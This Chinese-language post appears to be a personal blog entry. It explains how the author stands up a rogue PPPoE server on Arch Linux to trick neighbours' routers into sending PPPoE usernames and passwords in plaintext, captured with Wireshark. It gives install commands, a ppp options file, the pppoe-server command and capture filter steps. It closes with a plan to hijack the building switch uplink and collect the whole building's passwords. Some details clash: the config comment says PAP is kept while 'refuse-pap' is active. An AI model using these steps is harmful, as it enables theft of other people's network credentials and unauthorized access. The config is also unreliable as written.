最近发现楼下交换机竟然没有任何防护,直挺挺的放电表箱里吃灰,正巧今天周五不上班,看看怎么把大家的pppoe帐号密码拿过来。
小区每个单元都有一个小交换机,各户的客户端的pppoe拨号就是通过它链接到总交换机(名词对不对?)的。我的思路就是用我的笔记本电脑作为pppoe-server,欺骗其他客户端来我这里验证,通过抓包获取pppoe帐号和密码。新瓶装老酒而已,但是我百度了一圈,没有找到linux下的操作方式,基本都是windows。
本子装的ArchLinux,先安装pppoe-server 及wireshark抓包工具,wireshark有gtk和qt两个gui,我用的是gtk 的
root> pacman -S ppp rp-pppoe
root>pacman -S wireshark-gtk wireshark-common
安装完后,做如下配置:(refuse是验证协议,只保留了pap,密码是明文验证)
# /etc/ppp/options
auth
local
login
defaultroute
hide-password
ipcp-accept-local
ipcp-accept-remote
lcp-echo-failure 2
lcp-echo-interval 10
refuse-pap
#refuse-chap
#refuse-mschap
#require-mschap-v2
ms-dns 202.106.0.20
noproxyarp
配置完成后执行以下命令
#查看网卡接口名 就是一般linux里的eth0 eth0之类的,网口名。使用ifconfig也可获取到,我的wlp3s0是有线网卡,wlp3s0是无线网卡。
root>ip link
root>pppoe-server -I enp0s25 -L 10.0.0.1 -R 10.0.0.10 -C tech -S pppoe1 -N 100 -T 60
除了 -I 参数,其他参数不用修改。
参数说明:
-I 指定网口名
-L pppoe服务器地址,据说可以任意
-R 客户端起始ip
-C 指定服务名 据说可随意
-N 客户端最大连接数
-T 超时时间,单位是秒
接下来打开wireshark
选中enp0s25 网卡点击Start
添加Filter : pap.data ,然后点击 Apply 。不添加的话数据可能太多。
pppoe服务端及嗅探工具就算配置好了,接下来我把我的路由wan口插到笔记本上。稍等片刻就得到了明文密码,下图可以看出客户端尝试多种验证协议链接pppoe-server 。因为没有配置/etc/ppp/chap-secrets,所以会一直校验失败。
再然后,我只能说理论上,将单元楼交换机总线拔掉,然后用网线插到笔记本网口,稍等片刻整栋楼的pppoe密码就都到手了。